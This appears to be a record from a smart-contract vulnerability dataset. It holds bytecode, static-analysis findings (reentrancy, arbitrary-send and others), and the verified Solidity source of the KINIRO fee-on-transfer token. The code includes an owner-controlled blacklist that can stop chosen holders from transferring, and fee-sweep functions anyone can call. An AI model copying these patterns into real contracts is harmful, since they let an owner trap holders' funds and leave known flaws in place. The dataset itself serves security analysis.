2060009054906101000a900460ff16155b1561169b5760145481111561162557600080fd5b600854816116328461077c565b61163c9190612b38565b1061169a576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006116a63061077c565b9050601360159054906101000a900460ff161580156117135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561172b5750601360169054906101000a900460ff165b1561175a57611739816119c4565b6000479050670429d069189e000081111561175857611757476117d0565b5b505b505b611767838383611cbe565b505050565b60008383111582906117b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ab9190612931565b60405180910390fd5b50600083856117c39190612c19565b9050809150509392505050565b600a816117dd9190612b8e565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61182f600484611cce90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561185a573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118ab600484611cce90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156118d6573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611927600284611cce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611952573d6000803e3d6000fd5b5050565b600060075482111561199d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199490612953565b60405180910390fd5b60006119a7611d49565b90506119bc8184611d7490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a22577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a505781602001602082028036833780820191505090505b5090503081600081518110611a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b3057600080fd5b505afa158015611b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b68919061241e565b81600181518110611ba2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c0930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111e8565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c6d959493929190612a6e565b600060405180830381600087803b158015611c8757600080fd5b505af1158015611c9b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b611cc9838383611dbe565b505050565b600080831415611ce15760009050611d43565b60008284611cef9190612bbf565b9050828482611cfe9190612b8e565b14611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d35906129b3565b60405180910390fd5b809150505b92915050565b6000806000611d56611f89565b91509150611d6d8183611d7490919063ffffffff16565b9250505090565b6000611db683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fee565b905092915050565b600080600080600080611dd087612051565b955095509550955095509550611e2e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ec385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0f81612161565b611f19848361221e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f769190612a53565b60405180910390a3505050505050505050565b60008060006007549050600069152d02c7e14af68000009050611fc169152d02c7e14af6800000600754611d7490919063ffffffff16565b821015611fe15760075469152d02c7e14af6800000935093505050611fea565b81819350935050505b9091565b60008083118290612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c9190612931565b60405180910390fd5b50600083856120449190612b8e565b9050809150509392505050565b600080600080600080600080600061206e8a600c54600d54612258565b925092509250600061207e611d49565b905060008060006120918e8787876122ee565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061176c565b905092915050565b60008082846121129190612b38565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90612993565b60405180910390fd5b8091505092915050565b600061216b611d49565b905060006121828284611cce90919063ffffffff16565b90506121d681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612233826007546120b990919063ffffffff16565b60078190555061224e8160095461210390919063ffffffff16565b6009819055505050565b6000806000806122846064612276888a611cce90919063ffffffff16565b611d7490919063ffffffff16565b905060006122ae60646122a0888b611cce90919063ffffffff16565b611d7490919063ffffffff16565b905060006122d7826122c9858c6120b990919063ffffffff16565b6120b990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123078589611cce90919063ffffffff16565b9050600061231e8689611cce90919063ffffffff16565b905060006123358789611cce90919063ffffffff16565b9050600061235e8261235085876120b990919063ffffffff16565b6120b990919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061238681612f5c565b92915050565b60008151905061239b81612f5c565b92915050565b6000813590506123b081612f73565b92915050565b6000815190506123c581612f73565b92915050565b6000813590506123da81612f8a565b92915050565b6000815190506123ef81612f8a565b92915050565b60006020828403121561240757600080fd5b600061241584828501612377565b91505092915050565b60006020828403121561243057600080fd5b600061243e8482850161238c565b91505092915050565b6000806040838503121561245a57600080fd5b600061246885828601612377565b925050602061247985828601612377565b9150509250929050565b60008060006060848603121561249857600080fd5b60006124a686828701612377565b93505060206124b786828701612377565b92505060406124c8868287016123cb565b9150509250925092565b600080604083850312156124e557600080fd5b60006124f385828601612377565b9250506020612504858286016123a1565b9150509250929050565b6000806040838503121561252157600080fd5b600061252f85828601612377565b9250506020612540858286016123cb565b9150509250929050565b60006020828403121561255c57600080fd5b600061256a848285016123b6565b91505092915050565b60006020828403121561258557600080fd5b6000612593848285016123cb565b91505092915050565b600080604083850312156125af57600080fd5b60006125bd858286016123cb565b92505060206125ce858286016123cb565b9150509250929050565b6000806000606084860312156125ed57600080fd5b60006125fb868287016123e0565b935050602061260c868287016123e0565b925050604061261d868287016123e0565b9150509250925092565b6000612633838361263f565b60208301905092915050565b61264881612c4d565b82525050565b61265781612c4d565b82525050565b600061266882612af3565b6126728185612b16565b935061267d83612ae3565b8060005b838110156126ae5781516126958882612627565b97506126a083612b09565b925050600181019050612681565b5085935050505092915050565b6126c481612c5f565b82525050565b6126d381612ca2565b82525050565b60006126e482612afe565b6126ee8185612b27565b93506126fe818560208601612cb4565b61270781612d45565b840191505092915050565b600061271f602a83612b27565b915061272a82612d56565b604082019050919050565b6000612742602283612b27565b915061274d82612da5565b604082019050919050565b6000612765601b83612b27565b915061277082612df4565b602082019050919050565b6000612788602183612b27565b915061279382612e1d565b604082019050919050565b60006127ab602083612b27565b91506127b682612e6c565b602082019050919050565b60006127ce602983612b27565b91506127d982612e95565b604082019050919050565b60006127f1602483612b27565b91506127fc82612ee4565b604082019050919050565b6000612814601783612b27565b915061281f82612f33565b602082019050919050565b61283381612c8b565b82525050565b61284281612c95565b82525050565b600060208201905061285d600083018461264e565b92915050565b6000604082019050612878600083018561264e565b612885602083018461264e565b9392505050565b60006040820190506128a1600083018561264e565b6128ae602083018461282a565b9392505050565b600060c0820190506128ca600083018961264e565b6128d7602083018861282a565b6128e460408301876126ca565b6128f160608301866126ca565b6128fe608083018561264e565b61290b60a083018461282a565b979650505050505050565b600060208201905061292b60008301846126bb565b92915050565b6000602082019050818103600083015261294b81846126d9565b905092915050565b6000602082019050818103600083015261296c81612712565b9050919050565b6000602082019050818103600083015261298c81612735565b9050919050565b600060208201905081810360008301526129ac81612758565b9050919050565b600060208201905081810360008301526129cc8161277b565b9050919050565b600060208201905081810360008301526129ec8161279e565b9050919050565b60006020820190508181036000830152612a0c816127c1565b9050919050565b60006020820190508181036000830152612a2c816127e4565b9050919050565b60006020820190508181036000830152612a4c81612807565b9050919050565b6000602082019050612a68600083018461282a565b92915050565b600060a082019050612a83600083018861282a565b612a9060208301876126ca565b8181036040830152612aa2818661265d565b9050612ab1606083018561264e565b612abe608083018461282a565b9695505050505050565b6000602082019050612add6000830184612839565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b4382612c8b565b9150612b4e83612c8b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b8357612b82612ce7565b5b828201905092915050565b6000612b9982612c8b565b9150612ba483612c8b565b925082612bb457612bb3612d16565b5b828204905092915050565b6000612bca82612c8b565b9150612bd583612c8b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c0e57612c0d612ce7565b5b828202905092915050565b6000612c2482612c8b565b9150612c2f83612c8b565b925082821015612c4257612c41612ce7565b5b828203905092915050565b6000612c5882612c6b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612cad82612c8b565b9050919050565b60005b83811015612cd2578082015181840152602081019050612cb7565b83811115612ce1576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612f6581612c4d565b8114612f7057600080fd5b50565b612f7c81612c5f565b8114612f8757600080fd5b50565b612f9381612c8b565b8114612f9e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206c5a989e6f6afefbdd8aec448b1e15c8a883097f44dfe2a48f370928a35e368064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,873 |
0x4c15ec34eb907ee12c052d5b1bc9bb99ba2b36e4
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
//SPDX-License-Identifier: UNLICENSED
/*
/$$ /$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$ /$$
| $$ /$$/|_ $$_/| $$$ | $$|_ $$_/| $$__ $$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ | $$| $$ /$$/
| $$ /$$/ | $$ | $$$$| $$ | $$ | $$ \ $$| $$ \ $$ | $$ \ $$| $$ \ $$| $$$$| $$| $$ /$$/
| $$$$$/ | $$ | $$ $$ $$ | $$ | $$$$$$$/| $$ | $$ | $$$$$$$ | $$$$$$$$| $$ $$ $$| $$$$$/
| $$ $$ | $$ | $$ $$$$ | $$ | $$__ $$| $$ | $$ | $$__ $$| $$__ $$| $$ $$$$| $$ $$
| $$\ $$ | $$ | $$\ $$$ | $$ | $$ \ $$| $$ | $$ | $$ \ $$| $$ | $$| $$\ $$$| $$\ $$
| $$ \ $$ /$$$$$$| $$ \ $$ /$$$$$$| $$ | $$| $$$$$$/ | $$$$$$$/| $$ | $$| $$ \ $$| $$ \ $$
|__/ \__/|______/|__/ \__/|______/|__/ |__/ \______/ |_______/ |__/ |__/|__/ \__/|__/ \__/
https://kinirobank.com/
https://t.me/kinirobank
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KINIRO is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e11 * 10**9;
string public constant name = unicode"Kiniro Bank";
string public constant symbol = unicode"KINIRO";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _MarketingWallet;
address public uniswapV2Pair;
uint public _bFee = 8;
uint public _sFee = 12;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxWallet;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _removedTxnLimit = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet) {
_MarketingWallet = MarketingWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp && _removedTxnLimit ) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxWallet);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _bFee;
} else {
fee = _sFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiq() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 1000000000 * 10**9;
_maxWallet = 2000000000 * 10**9;
_removedTxnLimit = true;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setEnableLimitedTxn(bool enable) external onlyOwner() {
_removedTxnLimit = enable;
}
function setMaxAmount(uint maxBuyTokens, uint maxWallet) external onlyOwner(){
if( _maxBuyTokens>= 500000000 ){
_maxBuyTokens = maxBuyTokens;
_maxWallet = maxWallet;
}
}
function setFees(uint bFee, uint sFee) external onlyOwner() {
require(bFee < 15 && sFee < 15 );
_bFee = bFee;
_sFee = sFee;
emit FeesUpdated(_bFee, _sFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external onlyOwner(){
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101fd5760003560e01c8063715018a61161010d578063b0e9fffe116100a0578063db92dbb61161006f578063db92dbb6146105c3578063dcb0e0ad146105d8578063dd62ed3e146105f8578063e9e1831a1461063e578063fdf7cd931461065357600080fd5b8063b0e9fffe14610563578063b515566a14610579578063c3c8cd8014610599578063c9567bf9146105ae57600080fd5b806395d89b41116100dc57806395d89b41146104dc5780639e78fb4f1461050e578063a9059cbb14610523578063aacebbe31461054357600080fd5b8063715018a61461047257806382247ec0146104875780638da5cb5b1461049d57806394b8d8f2146104bb57600080fd5b806330380a46116101905780633bbac5791161015f5780633bbac579146103b657806349bd5a5e146103ef5780636755a4d0146104275780636fc3eaec1461043d57806370a082311461045257600080fd5b806330380a4614610339578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b80631fe0371e116101cc5780631fe0371e146102ce5780632188650e146102e457806323b872dd1461030457806327f3a72a1461032457600080fd5b806306fdde0314610209578063095ea7b3146102565780630b78f9c01461028657806318160ddd146102a857600080fd5b3661020457005b600080fd5b34801561021557600080fd5b506102406040518060400160405280600b81526020016a4b696e69726f2042616e6b60a81b81525081565b60405161024d91906117af565b60405180910390f35b34801561026257600080fd5b50610276610271366004611829565b610673565b604051901515815260200161024d565b34801561029257600080fd5b506102a66102a1366004611855565b610689565b005b3480156102b457600080fd5b5068056bc75e2d631000005b60405190815260200161024d565b3480156102da57600080fd5b506102c060095481565b3480156102f057600080fd5b506102a66102ff366004611855565b61071c565b34801561031057600080fd5b5061027661031f366004611877565b610762565b34801561033057600080fd5b506102c06107b6565b34801561034557600080fd5b506102a66103543660046118c6565b6107c6565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161024d565b34801561038c57600080fd5b506102a661039b3660046118f9565b61080c565b3480156103ac57600080fd5b506102c0600e5481565b3480156103c257600080fd5b506102766103d13660046119be565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b5060085461040f906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b34801561043357600080fd5b506102c0600c5481565b34801561044957600080fd5b506102a661089e565b34801561045e57600080fd5b506102c061046d3660046119be565b6108ab565b34801561047e57600080fd5b506102a66108c6565b34801561049357600080fd5b506102c0600d5481565b3480156104a957600080fd5b506000546001600160a01b031661040f565b3480156104c757600080fd5b50600f54610276906301000000900460ff1681565b3480156104e857600080fd5b50610240604051806040016040528060068152602001654b494e49524f60d01b81525081565b34801561051a57600080fd5b506102a661093a565b34801561052f57600080fd5b5061027661053e366004611829565b610b15565b34801561054f57600080fd5b506102a661055e3660046119be565b610b22565b34801561056f57600080fd5b506102c0600a5481565b34801561058557600080fd5b506102a66105943660046118f9565b610ba1565b3480156105a557600080fd5b506102a6610cba565b3480156105ba57600080fd5b506102a6610cd0565b3480156105cf57600080fd5b506102c0610d4c565b3480156105e457600080fd5b506102a66105f33660046118c6565b610d64565b34801561060457600080fd5b506102c06106133660046119db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064a57600080fd5b506102a6610de3565b34801561065f57600080fd5b5060075461040f906001600160a01b031681565b6000610680338484610f8c565b50600192915050565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016106b390611a14565b60405180910390fd5b600f821080156106cc5750600f81105b6106d557600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000546001600160a01b031633146107465760405162461bcd60e51b81526004016106b390611a14565b631dcd6500600c541061075e57600c829055600d8190555b5050565b600061076f8484846110b0565b6001600160a01b038416600090815260036020908152604080832033845290915281205461079e908490611a5f565b90506107ab853383610f8c565b506001949350505050565b60006107c1306108ab565b905090565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016106b390611a14565b600f8054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146108365760405162461bcd60e51b81526004016106b390611a14565b60005b815181101561075e5760006005600084848151811061085a5761085a611a76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089681611a8c565b915050610839565b476108a88161147c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016106b390611a14565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016106b390611a14565b600f5460ff16156109875760405162461bcd60e51b81526004016106b390611aa7565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a109190611ade565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a819190611ade565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ace573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af29190611ade565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b60006106803384846110b0565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016106b390611a14565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e7906020015b60405180910390a150565b6000546001600160a01b03163314610bcb5760405162461bcd60e51b81526004016106b390611a14565b60005b815181101561075e5760085482516001600160a01b0390911690839083908110610bfa57610bfa611a76565b60200260200101516001600160a01b031614158015610c4b575060065482516001600160a01b0390911690839083908110610c3757610c37611a76565b60200260200101516001600160a01b031614155b15610ca857600160056000848481518110610c6857610c68611a76565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610cb281611a8c565b915050610bce565b6000610cc5306108ab565b90506108a8816114b6565b6000546001600160a01b03163314610cfa5760405162461bcd60e51b81526004016106b390611a14565b600f5460ff1615610d1d5760405162461bcd60e51b81526004016106b390611aa7565b600f805442600e55670de0b6b3a7640000600c55671bc16d674ec80000600d5562ff00ff191662010001179055565b6008546000906107c1906001600160a01b03166108ab565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b81526004016106b390611a14565b600f805463ff000000191663010000008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610b96565b6000546001600160a01b03163314610e0d5760405162461bcd60e51b81526004016106b390611a14565b600f5460ff1615610e305760405162461bcd60e51b81526004016106b390611aa7565b600654610e519030906001600160a01b031668056bc75e2d63100000610f8c565b6006546001600160a01b031663f305d7194730610e6d816108ab565b600080610e826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0f9190611afb565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190611b29565b6001600160a01b038316610fee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106b3565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615611